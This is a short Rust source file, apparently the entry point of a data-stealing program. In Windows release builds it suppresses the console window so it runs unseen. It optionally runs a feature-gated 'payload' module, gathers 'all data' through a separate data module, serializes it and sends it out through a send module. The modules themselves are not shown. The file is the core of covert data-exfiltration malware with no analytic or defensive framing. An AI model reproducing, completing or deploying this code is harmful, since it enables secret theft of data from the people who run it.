1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#![cfg_attr(
all(not(debug_assertions), target_os = "windows"),
windows_subsystem = "windows"
)]
#[cfg(feature = "payload")]
mod payload;
mod send;
fn main() -> Result<(), std::io::Error> {
#[cfg(feature = "payload")]
payload::run()?;
let data = data::get_all_data();
let sends = bincode::serialize(&data).unwrap();
send::send(&sends)?;
Ok(())
}